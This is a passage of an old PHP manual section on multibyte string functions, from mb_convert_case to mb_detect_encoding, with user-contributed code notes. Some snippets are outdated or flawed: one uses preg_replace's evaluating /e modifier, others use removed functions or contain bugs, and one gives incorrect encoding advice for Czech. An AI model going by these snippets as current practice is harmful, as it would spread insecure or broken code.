Description: Shift_JIS was developed in early 80's, at the time personal Japanese word processors were brought into the market, in order to maintain compatiblities with the legacy encoding scheme JIS X 0201:1976. According to the IANA definition the codeset of Shift_JIS is slightly different to IBM932 / CP932. However, the names "SJIS" / "Shift_JIS" are often wrongly used to refer to these codesets.

Additional note: For the CP932 codemap, use SJIS-WIN instead.

Name in the IANA character set registry: (none)

Underlying character set: Compound of JIS X0201:1997 / JIS X0208:1997 / IBM extensions / NEC extensions

Description: While this "encoding" uses the same encoding scheme as EUC-JP, the underlying character set is different. That is, some code points map to different characters than EUC-JP.

Additional note: none

Name in the IANA character set registry: Windows-31J / csWindows31J

Underlying character set: Compound of JIS X0201:1997 / JIS X0208:1997 / IBM extensions / NEC extensions

Description: While this "encoding" uses the same encoding scheme as Shift_JIS, the underlying character set is different. That means some code points map to different characters than Shift_JIS.

Additional note: (none)

Name in the IANA character set registry: ISO-2022-JP (preferred MIME name) / csISO2022JP

Underlying character set: US-ASCII / JIS X0201:1976 / JIS X0208:1978 / JIS X0208:1983

Description: RFC1468

Additional note: (none)

Name in the IANA character set registry: JIS

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-1

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-2

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-3

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-4

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-5

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-6

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-7

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-8

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-9

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-10

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-13

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-14

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-8859-15

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: byte2be

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: byte2le

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: byte4be

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: byte4le

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: BASE64

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: HTML-ENTITIES

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: 7bit

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: 8bit

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: EUC-CN

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: CP936

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: HZ

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: EUC-TW

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: CP950

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: BIG-5

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: EUC-KR

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: UHC (CP949)

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: ISO-2022-KR

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: Windows-1251 (CP1251)

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: Windows-1252 (CP1252)

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: CP866 (IBM866)

Underlying character set:

Description:

Additional note:

Name in the IANA character set registry: KOI8-R

Underlying character set:

Description:

Additional note:

目录
mb_convert_case -- Perform case folding on a string
mb_convert_encoding -- Convert character encoding
mb_convert_kana -- Convert "kana" one from another ("zen-kaku", "han-kaku" and more)
mb_convert_variables -- Convert character code in variable(s)
mb_decode_mimeheader -- Decode string in MIME header field
mb_decode_numericentity -- Decode HTML numeric string reference to character
mb_detect_encoding -- Detect character encoding
mb_detect_order -- Set/Get character encoding detection order
mb_encode_mimeheader -- Encode string for MIME header
mb_encode_numericentity -- Encode character to HTML numeric string reference
mb_ereg_match -- Regular expression match for multibyte string
mb_ereg_replace -- Replace regular expression with multibyte support
mb_ereg_search_getpos -- Returns start point for next regular expression match
mb_ereg_search_getregs -- Retrieve the result from the last multibyte regular expression match
mb_ereg_search_init -- Setup string and regular expression for multibyte regular expression match
mb_ereg_search_pos -- Return position and length of matched part of multibyte regular expression for predefined multibyte string
mb_ereg_search_regs -- Returns the matched part of multibyte regular expression
mb_ereg_search_setpos -- Set start point of next regular expression match
mb_ereg_search -- Multibyte regular expression match for predefined multibyte string
mb_ereg -- Regular expression match with multibyte support
mb_eregi_replace -- Replace regular expression with multibyte support ignoring case
mb_eregi -- Regular expression match ignoring case with multibyte support
mb_get_info -- Get internal settings of mbstring
mb_http_input -- Detect HTTP input character encoding
mb_http_output -- Set/Get HTTP output character encoding
mb_internal_encoding -- Set/Get internal character encoding
mb_language -- Set/Get current language
mb_list_encodings -- Returns an array of all supported encodings
mb_output_handler -- Callback function converts character encoding in output buffer
mb_parse_str -- Parse GET/POST/COOKIE data and set global variable
mb_preferred_mime_name -- Get MIME charset string
mb_regex_encoding -- Returns current encoding for multibyte regex as string
mb_regex_set_options -- Set/Get the default options for mbregex functions
mb_send_mail -- Send encoded mail
mb_split -- Split multibyte string using regular expression
mb_strcut -- Get part of string
mb_strimwidth -- Get truncated string with specified width
mb_strlen -- Get string length
mb_strpos -- Find position of first occurrence of string in a string
mb_strrpos -- Find position of last occurrence of a string in a string
mb_strtolower -- Make a string lowercase
mb_strtoupper -- Make a string uppercase
mb_strwidth -- Return width of string
mb_substitute_character -- Set/Get substitution character
mb_substr_count -- Count the number of substring occurrences
mb_substr -- Get part of string

add a note add a note User Contributed Notes
Aardvark
14-Mar-2006 03:37
Since not all hosted servces currently support the multi-byte function set, it may still be necessary to process Unicode strings using standard single byte functions.  The function at the following link - http://www.kanolife.com/escape/2006/03/php-unicode-processing.html - shows by example how to do this.  While this only covers UTF-8, the standard PHP function "iconv" allows conversion into and out of UTF-8 if strings need to be input or output in other encodings.
peter kehl
10-Mar-2006 12:34
UTF-16LE solution for CSV for Excel by Eugene Murai works well:
$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');

However, then Excel on Mac OS X doesn't identify columns properly and its puts each whole row in its own cell. In order to fix that, use TAB "\\t" character as CSV delimiter rather than comma or colon.

You may also want to use HTTP encoding header, such as
header( "Content-type: application/vnd.ms-excel; charset=UTF-16LE" );
15-Aug-2005 10:24
get the string octet-size, when mbstring.func_overload is set to 2 :

<?php
function str_sizeof($string) {
   return count(preg_split("`.`", $string)) - 1 ;
}
?>

answering to peter albertsson, once you got your data octet-size, you can access each octet with something
$string[0] ... $string[$size-1], since the [ operator doesn't complies with multibytes strings.
peter dot albertsson at spray dot se
21-May-2005 06:43
Setting mbstring.func_overload = 2 may break your applications that deal with binary data.

After having set mbstring.func_overload = 2 and  mbstring.internal_encoding = UTF-8 I can't even read a binary file and print/echo it to output without corrupting it.
nzkiwi at NOSPAMmte dot biglobe dot ne dot jp
14-Apr-2005 07:37
A friend has pointed out that the entry
"mbstring.http_input PHP_INI_ALL" in Table 1 on the mbstring page appears to be wrong: above Example 4 it says that "There is no way to control HTTP input character conversion from PHP script. To disable HTTP input character conversion, it has to be done in php.ini".
Also the table shows the old-PHP-version defaults:
;; Disable HTTP Input conversion
mbstring.http_input = pass  *BUT* (for PHP 4.3.0 or higher)
;; Disable HTTP Input conversion
mbstring.encoding_translation = Off
Eugene Murai
24-Feb-2005 02:20
PHP can input and output Unicode, but a little different from what Microsoft means: when Microsoft says "Unicode", it unexplicitly means little-endian UTF-16 with BOM(FF FE = chr(255).chr(254)), whereas PHP's "UTF-16" means big-endian with BOM. For this reason, PHP does not seem to be able to output Unicode CSV file for Microsoft Excel. Solving this problem is quite simple: just put BOM infront of UTF-16LE string.

Example:

$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');
Geoffrey
01-Feb-2005 04:59
For Windows users php_mbstring can be added as follows:-

if you have dowloaded  the "short" version of PHP,
(php-4.3.10-installer.exe), download the full version .
(php-4.3.10-Win32.zip)

unzip it, find php_mbstring.dll in
f:\php-4.3.10-Win32\extensions, and copy it across to your
php\extensions directory

use Notepad to open your PHP.INI

change the extension_dir line to read
extension_dir = "e:\php\extensions\"  (or whatever your
directory is called)

remove the semi-colon on line
 ; extension=php_mbstring.dll

save PHP.INI,  restart PHP
add a note add a note

后退 | 起点 | 前进
msql | 上一级 | mb_convert_case


mb_convert_case

(PHP 4 >= 4.3.0, PHP 5)

mb_convert_case -- Perform case folding on a string

Description

string mb_convert_case ( string str, int mode [, string encoding] )

mb_convert_case() returns case folded version of string converted in the way specified by mode.

mode can be one of MB_CASE_UPPER, MB_CASE_LOWER or MB_CASE_TITLE.

encoding specifies the encoding of str; if omitted, the internal character encoding value will be used.

The return value is str with the appropriate case folding applied.

By contrast to the standard case folding functions such as strtolower() and strtoupper(), case folding is performed on the basis of the Unicode character properties. Thus the behaviour of this function is not affected by locale settings and it can convert any characters that have 'alphabetic' property, such as A-umlaut ().

For more information about the Unicode properties, please see http://www.unicode.org/unicode/reports/tr21/.

例子 1. mb_convert_case() example

<?php
$str = "mary had a Little lamb and she loved it so";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // Prints Mary Had A Little Lamb And She Loved It So
?>

See also mb_strtolower(),
mb_strtoupper(),
strtolower(),
strtoupper(),
ucfirst() 和
ucwords()

add a note add a note User Contributed Notes
alex at agileware dot net
07-Feb-2006 10:02
This function is a bit more flexible than using mb_convert_case with MB_CASE_TITLE, because it lets you add words whose case you don't want modified.

function title_case($string, $exceptions = array('to', 'a', 'the', 'of', 'I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII', 'IX', 'X')) {
   $words = split(" ", $string);
   $newwords = array();

   foreach ($words as $word)
   {
       if (!array_key_exists($word, $exceptions)) {
           $word = strtolower($word);
           $word = ucfirst($word);
       }
       array_push($newwords, $word);

   }

   return ucfirst(join(" ", $newwords));
}
footballkid4 at hotmail dot com
05-Feb-2006 12:59
This function will capitalize the first letter ( the same as using mb_convert_case with MB_CASE_TITLE flag, but when using a sentence, it'll only capitalize the first word )

<?php
function capitalize(&$input) {
     $input = strtoupper( substr( $input , 0 , 1 ) ).strtolower( substr( $input , 1 ) );
     return $input;
}
?>

Very short, uses substr, strtoupper, and strtoupper only
Rasa Ravi at tantrajoga dot cz
30-Apr-2005 04:36
For CZECH characters:
<?php
$text = mb_convert_case($text, MB_CASE_LOWER, "Windows-1251");
?>
The right encoding Windows-1250 is not valid (see the list mb_list_encodings), but Windows-1251 will do the same 100%. The function strtolower() ignores czech characters with diacritics.
add a note add a note

后退 | 起点 | 前进
Multibyte String Functions | 上一级 | mb_convert_encoding


mb_convert_encoding

(PHP 4 >= 4.0.6, PHP 5)

mb_convert_encoding -- Convert character encoding

Description

string mb_convert_encoding ( string str, string to_encoding [, mixed from_encoding] )

mb_convert_encoding() converts character encoding of string str from from_encoding to to_encoding.

str : String to be converted.

from_encoding is specified by character code name before conversion. it can be array or string - comma separated enumerated list. If it is not specified, the internal encoding will be used.

例子 1. mb_convert_encoding() example

<?php
/* Convert internal character encoding to SJIS */
$str = mb_convert_encoding($str, "SJIS");

/* Convert EUC-JP to UTF-7 */
$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");

/* Auto detect encoding from JIS, eucjp-win, sjis-win, then convert str to UCS-2LE */
$str = mb_convert_encoding($str, "UCS-2LE", "JIS, eucjp-win, sjis-win");

/* "auto" is expanded to "ASCII,JIS,UTF-8,EUC-JP,SJIS" */
$str = mb_convert_encoding($str, "EUC-JP", "auto");
?>

See also mb_detect_order().

add a note add a note User Contributed Notes
Tom Class
11-Nov-2005 11:35
Why did you use the php html encode functions? mbstring has it's own Encoding which is (as far as I tested it) much more usefull:

HTML-ENTITIES

Example:

$text = mb_convert_encoding($text, 'HTML-ENTITIES', "UTF-8");
Stephan van der Feest
09-Sep-2005 07:47
To add to the Flash conversion comment below, here's how I convert back from what I've stored in a database after converting from Flash HTML text field output, in order to load it back into a Flash HTML text field:

function htmltoflash($htmlstr)
{
  return str_replace("&lt;br /&gt;","\n",
   str_replace("<","&lt;",
     str_replace(">","&gt;",
       mb_convert_encoding(html_entity_decode($htmlstr),
       "UTF-8","ISO-8859-1"))));
}
Stephan van der Feest
09-Sep-2005 06:50
Here's a tip for anyone using Flash and PHP for storing HTML output submitted from a Flash text field in a database or whatever.

Flash submits its HTML special characters in UTF-8, so you can use the following function to convert those into HTML entity characters:

function utf8html($utf8str)
{
  return htmlentities(mb_convert_encoding($utf8str,"ISO-8859-1","UTF-8"));
}
jamespilcher1 - hotmail
02-Feb-2004 11:55
be careful when converting from iso-8859-1 to utf-8.

even if you explicitly specify the character encoding of a page as iso-8859-1(via headers and strict xml defs), windows 2000 will ignore that and interpret it as whatever character set it has natively installed.

for example, i wrote char #128 into a page, with char encoding iso-8859-1, and it displayed in internet explorer (& mozilla) as a euro symbol.

it should have displayed a box, denoting that char #128 is undefined in iso-8859-1. The problem was it was displaying in "Windows: western europe" (my native character set).

this led to confusion when i tried to convert this euro to UTF-8 via mb_convert_encoding()

IE displays UTF-8 correctly- and because PHP correctly converted #128 into a box in UTF-8, IE would show a box.

so all i saw was mb_convert_encoding() converting a euro symbol into a box. It took me a long time to figure out what was going on.
lanka at eurocom dot od dot ua
08-Feb-2003 12:03
Another sample of recoding without MultiByte enabling.
(Russian koi->win, if input in win-encoding already, function recode() returns unchanged string)

<?php
  // 0 - win
  // 1 - koi
  function detect_encoding($str) {
   $win = 0;
   $koi = 0;

   for($i=0; $i<strlen($str); $i++) {
     if( ord($str[$i]) >224 && ord($str[$i]) < 255) $win++;
     if( ord($str[$i]) >192 && ord($str[$i]) < 223) $koi++;
   }

   if( $win < $koi ) {
     return 1;
   } else return 0;

  }

  // recodes koi to win
  function koi_to_win($string) {

   $kw = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 254, 224, 225, 246, 228, 229, 244, 227, 245, 232, 233, 234, 235, 236, 237, 238, 239, 255, 240, 241, 242, 243, 230, 226, 252, 251, 231, 248, 253, 249, 247, 250, 222, 192, 193, 214, 196, 197, 212, 195, 213, 200, 201, 202, 203, 204, 205, 206, 207, 223, 208, 209, 210, 211, 198, 194, 220, 219, 199, 216, 221, 217, 215, 218);
   $wk = array(128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183,  184, 185, 186, 187, 188, 189, 190, 191, 225, 226, 247, 231, 228, 229, 246, 250, 233, 234, 235, 236, 237, 238, 239, 240, 242,  243, 244, 245, 230, 232, 227, 254, 251, 253, 255, 249, 248, 252, 224, 241, 193, 194, 215, 199, 196, 197, 214, 218, 201, 202, 203, 204, 205, 206, 207, 208, 210, 211, 212, 213, 198, 200, 195, 222, 219, 221, 223, 217, 216, 220, 192, 209);

   $end = strlen($string);
   $pos = 0;
   do {
     $c = ord($string[$pos]);
     if ($c>128) {
       $string[$pos] = chr($kw[$c-128]);
     }

   } while (++$pos < $end);

   return $string;
  }

  function recode($str) {

   $enc = detect_encoding($str);
   if ($enc==1) {
     $str = koi_to_win($str);
   }

   return $str;
  }
?>
add a note add a note

后退 | 起点 | 前进
mb_convert_case | 上一级 | mb_convert_kana


mb_convert_kana

(PHP 4 >= 4.0.6, PHP 5)

mb_convert_kana -- Convert "kana" one from another ("zen-kaku", "han-kaku" and more)

Description

string mb_convert_kana ( string str [, string option [, string encoding]] )

mb_convert_kana() performs "han-kaku" - "zen-kaku" conversion for string str. It returns converted string. This function is only useful for Japanese.

option is conversion option. Default value is "KV".

encoding is character encoding. If it is omitted, internal character encoding is used.

Specify with combination of following options. Default value is KV.

表格 1. Applicable Conversion Options

Option | Meaning
r | Convert "zen-kaku" alphabets to "han-kaku"
R | Convert "han-kaku" alphabets to "zen-kaku"
n | Convert "zen-kaku" numbers to "han-kaku"
N | Convert "han-kaku" numbers to "zen-kaku"
a | Convert "zen-kaku" alphabets and numbers to "han-kaku"
A | Convert "han-kaku" alphabets and numbers to "zen-kaku" (Characters included in "a", "A" options are U+0021 - U+007E excluding U+0022, U+0027, U+005C, U+007E)
s | Convert "zen-kaku" space to "han-kaku" (U+3000 -> U+0020)
S | Convert "han-kaku" space to "zen-kaku" (U+0020 -> U+3000)
k | Convert "zen-kaku kata-kana" to "han-kaku kata-kana"
K | Convert "han-kaku kata-kana" to "zen-kaku kata-kana"
h | Convert "zen-kaku hira-gana" to "han-kaku kata-kana"
H | Convert "han-kaku kata-kana" to "zen-kaku hira-gana"
c | Convert "zen-kaku kata-kana" to "zen-kaku hira-gana"
C | Convert "zen-kaku hira-gana" to "zen-kaku kata-kana"
V | Collapse voiced sound notation and convert them into a character. Use with "K","H"

例子 1. mb_convert_kana() example

<?php
/* Convert all "kana" to "zen-kaku" "kata-kana" */
$str = mb_convert_kana($str, "KVC");

/* Convert "han-kaku" "kata-kana" to "zen-kaku" "kata-kana"
   and "zen-kaku" alpha-numeric to "han-kaku" */
$str = mb_convert_kana($str, "KVa");
?>

add a note add a note User Contributed Notes
d at safetypub dot org
01-Apr-2005 07:00
I didn't find Japanese sorting function.
(mb_sort_kana or something)
Only SJIS encoding treats hankaku kata kana,
 I can't post here copy & paste version script.
I'm sorry...
You will replace comments with appropriate japanese string,
and write exception handlings between lines as you like.

<?php
mb_internal_encoding("SJIS");

$moji = /*"aiueo...wawon -?.," <- serialized hankaku kata kana 50 on hyou goes here*/;
$moji .= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxwz0123456789";

for($i = 0; isset($moji[$i]); $i++){
   $pittan[$moji[$i]] = $i;
}

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return iter(mb_convert_kana($a, "askh") ,mb_convert_kana($b, "askh"), 0);
}

function iter($a, $b, $i){
   global $pittan;
   if(!isset($a[$i]) || !isset($b[$i])){
       return (isset($b[$i]))? -1 : 1;
   }
   if ($pittan[$a[$i]] == $pittan[$b[$i]]){
       return iter($a, $b, ++$i);
   }
   return (($pittan[$a[$i]]) < ($pittan[$b[$i]]))? -1 : 1;
}

echo "<pre>";
$arr = array(/*some japanese array here*/);
usort($arr, "cmp");
var_dump($arr);
?>
dn at littlealf dot net
24-Jul-2003 12:33
It seems that mb_convert_kana() doesn't convert symbols such as ' (single quoatation). It affected my program when I insert data into database.

So, I've found 2 ways to solve this.
1) Use Javascript to convert those non-supported symbols before sending query string to your php page.
2) Use php function, str_replace $str, to replace those non-supported symbols. For example, $str = str_replace("'", "", $str);
where the first single quot is half-width(han kaku), and the second one is full-width(zen kaku).
add a note add a note

后退 | 起点 | 前进
mb_convert_encoding | 上一级 | mb_convert_variables


mb_convert_variables

(PHP 4 >= 4.0.6, PHP 5)

mb_convert_variables -- Convert character code in variable(s)

Description

string mb_convert_variables ( string to_encoding, mixed from_encoding, mixed &vars [, mixed &...] )

mb_convert_variables() convert character encoding of variables vars in encoding from_encoding to encoding to_encoding. It returns character encoding before conversion for success, FALSE for failure.

mb_convert_variables() join strings in Array or Object to detect encoding, since encoding detection tends to fail for short strings. Therefore, it is impossible to mix encoding in single array or object.

It from_encoding is specified by array or comma separated string, it tries to detect encoding from from-coding. When encoding is omitted, detect_order is used.

vars (3rd and larger) is reference to variable to be converted. String, Array and Object are accepted. mb_convert_variables() assumes all parameters have the same encoding.

例子 1. mb_convert_variables() example

<?php
/* Convert variables $post1, $post2 to internal encoding */
$interenc = mb_internal_encoding();
$inputenc = mb_convert_variables($interenc, "ASCII,UTF-8,SJIS-win", $post1, $post2);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_convert_kana | 上一级 | mb_decode_mimeheader


mb_decode_mimeheader

(PHP 4 >= 4.0.6, PHP 5)

mb_decode_mimeheader -- Decode string in MIME header field

Description

string mb_decode_mimeheader ( string str )

mb_decode_mimeheader() decodes encoded-word string str in MIME header.

It returns decoded string in internal character encoding.

See also mb_encode_mimeheader().

add a note add a note User Contributed Notes
Frogger2000 at gmx dot de
29-May-2002 04:16
Using quoted-printable-encoding the hex-numbers must be written in uppercase letters!

Works: =?iso-8859-1?q?=3F=3F=3F?=
Fails: =?iso-8859-1?q?=3f=3f=3f?=
add a note add a note

后退 | 起点 | 前进
mb_convert_variables | 上一级 | mb_decode_numericentity


mb_decode_numericentity

(PHP 4 >= 4.0.6, PHP 5)

mb_decode_numericentity -- Decode HTML numeric string reference to character

Description

string mb_decode_numericentity ( string str, array convmap [, string encoding] )

Convert numeric string reference of string str in specified block to character. It returns converted string.

convmap is array to specifies code area to convert.

encoding is character encoding. If it is omitted, internal character encoding is used.

例子 1. convmap example

$convmap = array (
   int start_code1, int end_code1, int offset1, int mask1,
   int start_code2, int end_code2, int offset2, int mask2,
   ........
   int start_codeN, int end_codeN, int offsetN, int maskN );
// Specify Unicode value for start_codeN and end_codeN
// Add offsetN to value and take bit-wise 'AND' with maskN,
// then convert value to numeric string reference.

See also mb_encode_numericentity().

add a note add a note User Contributed Notes
donovan at conduit it
20-Apr-2006 12:05
note that at this time it seems that mb_decode_numericentity() only works with decimal entities and not hexadecimal entities.  This fact would have saved me a good hour of time in debugging.

For those who need to convert hex entities try first converting them all to decimal entities with a combination of the preg_replace() and hexdec() functions.
dirk at camindo de
31-Jan-2005 01:51
By use of function utf8_decode you'll get a problem with all extended chars above ISO-8859-1 charset. You can solve this problem by using the

function mb_encode_numericentity before:

  // convert $text from UTF-8 to ISO-8859-1
  $convmap = array(0xFF, 0x2FFFF, 0, 0xFFFF);
  $text = mb_encode_numericentity($text, $convmap, "UTF-8");
  $text = utf8_decode($text);

The second line encodes all extended chars below 0xFF, the third line converts the rest: 0x80 - 0xFF
Andrew Simpson
11-Dec-2004 09:29
Many web browsers will tend upload high order characters as UTF-8 encoded entities.

Here is some simple code to convert UTF-8 HTML entities within a block of text into proper characters:

<?php
   //decode decimal HTML entities added by web browser
  $body = preg_replace('/&#\d{2,5};/ue', "utf8_entity_decode('$0')", $body );
  //decode hex HTML entities added by web browser
  $body = preg_replace('/&#x([a-fA-F0-7]{2,8});/ue', "utf8_entity_decode('&#'.hexdec('$1').';')", $body );

//callback function for the regex
function utf8_entity_decode($entity){
 $convmap = array(0x0, 0x10000, 0, 0xfffff);
 return mb_decode_numericentity($entity, $convmap, 'UTF-8');
}
?>
php at cNhOiSpPpAlMe dot org
31-Mar-2004 04:55
Here are functions to convert hankaku to zenkaku characters (and vice-versa) in Japanese text.

<?php

// Supported characters:
//    (space)
//    !#$%&()*+,./0123456789:;<=>?@
//    ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`
//    abcdefghijklmnopqrstuvwxyz{|}
// (Katakana isn't supported.)

function f_han2zen ($string,$encoding = null) {
  if (is_null($encoding)) $encoding = mb_internal_encoding();
  $convmap = array(
     0x20,0x20,0x3000-0x20,0xffff,  // Space
     0x21,0x7e,0xff01-0x21,0xffff);
  $temp = mb_encode_numericentity($string,$convmap,$encoding);
  $convmap = array(0,0xffff,0,0xffff);
  return mb_decode_numericentity($temp,$convmap,$encoding);
}
function f_zen2han ($string,$encoding = null) {
  if (is_null($encoding)) $encoding = mb_internal_encoding();
  $convmap = array(
     0x3000,0x3000,-(0x3000-0x20),0xffff,  // Space
     0xff01,0xff5e,-(0xff01-0x21),0xffff);
  $temp = mb_encode_numericentity($string,$convmap,$encoding);
  $convmap = array(0,0xffff,0,0xffff);
  return mb_decode_numericentity($temp,$convmap,$encoding);
}

// Sample usage:
f_han2zen("test","shift_jis");
f_han2zen("test","utf-8");

?>
dev at glossword info
19-Nov-2003 11:43
Just two great functions for daily use:

/* Converts any HTML-entities into characters */
function my_numeric2character($t)
{
   $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
   return mb_decode_numericentity($t, $convmap, 'UTF-8');
}
/* Converts any characters into HTML-entities */
function my_character2numeric($t)
{
   $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
   return mb_encode_numericentity($t, $convmap, 'UTF-8');
}
print my_numeric2character('&#8217; &#7936; &#226;');
print my_character2numeric('  ');
add a note add a note

后退 | 起点 | 前进
mb_decode_mimeheader | 上一级 | mb_detect_encoding


mb_detect_encoding

(PHP 4 >= 4.0.6, PHP 5)

mb_detect_encoding -- Detect character encoding

Description

string mb_detect_encoding ( string str [, mixed encoding_list [, bool strict]] )

mb_detect_encoding() detects character encoding in string str. It returns detected character encoding.

encoding_list is list of character encoding. Encoding order may be specified by array or comma separated list string.

If encoding_list is omitted, detect_order is used.

例子 1. mb_detect_encoding() example

<?php
/* Detect character encoding with current detect_order */
echo mb_detect_encoding($str);

/* "auto" is expanded to "ASCII,JIS,UTF-8,EUC-JP,SJIS" */
echo mb_detect_encoding($str, "auto");

/* Specify encoding_list character encoding by comma separated list */
echo mb_detect_encoding($str, "JIS, eucjp-win, sjis-win");

/* Use array to specify encoding_list  */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
echo mb_detect_encoding($str, $ary);
?>

See also mb_detect_order().

add a note add a note User Contributed Notes
telemach
28-Jul-2005 09:48
beware : even if you need to distinguish between UTF-8 and ISO-8859-1, and you the following detection order (as chrigu suggests)

mb_detect_encoding('accentue' , 'UTF-8, ISO-8859-1')

returns ISO-8859-1, while

mb_detect_encoding('accentu' , 'UTF-8, ISO-8859-1')

returns UTF-8

bottom line : an ending '' (and probably other accentuated chars) mislead mb_detect_encoding
Chrigu
29-Mar-2005 11:32
If you need to distinguish between UTF-8 and ISO-8859-1 encoding, list UTF-8 first in your encoding_list:
mb_detect_encoding($string, 'UTF-8, ISO-8859-1');

if you list ISO-8859-1 first, mb_detect_encoding() will always return ISO-8859-1.
php-note-2005 at ryandesign dot com
17-Feb-2005 11:57
Much simpler UTF-8-ness checker using a regular expression created by the W3C:

<?php

// Returns true if $string is valid UTF-8 and false otherwise.
function is_utf8($string) {

   // From http://w3.org/International/questions/qa-forms-utf-8.html
   return preg_match('%^(?:
         [\x09\x0A\x0D\x20-\x7E]            # ASCII
       | [\xC2-\xDF][\x80-\xBF]            # non-overlong 2-byte
       |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
       | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
       |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
       |  \xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
       | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
       |  \xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
   )*$%xs', $string);

} // function is_utf8

?>
jaaks at playtech dot com
14-Jan-2005 04:27
Last example for verifying UTF-8 has one little bug. If 10xxxxxx byte occurs alone i.e. not in multibyte char, then it is accepted although it is against UTF-8 rules. Make following replacement to repair it.

Replace
         } // goto next char
with
         } else {
           return false; // 10xxxxxx occuring alone
         } // goto next char
maarten
13-Jan-2005 07:55
Sometimes mb_detect_string is not what you need. When using pdflib for example you want to VERIFY the correctness of utf-8. mb_detect_encoding reports some iso-8859-1 encoded text as utf-8.
To verify utf 8 use the following:

//
//    utf8 encoding validation developed based on Wikipedia entry at:
//    http://en.wikipedia.org/wiki/UTF-8
//
//    Implemented as a recursive descent parser based on a simple state machine
//    copyright 2005 Maarten Meijer
//
//    This cries out for a C-implementation to be included in PHP core
//
   function valid_1byte($char) {
       if(!is_int($char)) return false;
       return ($char & 0x80) == 0x00;
   }

   function valid_2byte($char) {
       if(!is_int($char)) return false;
       return ($char & 0xE0) == 0xC0;
   }

   function valid_3byte($char) {
       if(!is_int($char)) return false;
       return ($char & 0xF0) == 0xE0;
   }

   function valid_4byte($char) {
       if(!is_int($char)) return false;
       return ($char & 0xF8) == 0xF0;
   }

   function valid_nextbyte($char) {
       if(!is_int($char)) return false;
       return ($char & 0xC0) == 0x80;
   }

   function valid_utf8($string) {
       $len = strlen($string);
       $i = 0;
       while( $i < $len ) {
           $char = ord(substr($string, $i++, 1));
           if(valid_1byte($char)) {    // continue
               continue;
           } else if(valid_2byte($char)) { // check 1 byte
               if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                   return false;
           } else if(valid_3byte($char)) { // check 2 bytes
               if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                   return false;
               if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                   return false;
           } else if(valid_4byte($char)) { // check 3 bytes
               if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                   return false;
               if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                   return false;
               if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                   return false;
           } // goto next char
       }
       return true; // done
   }

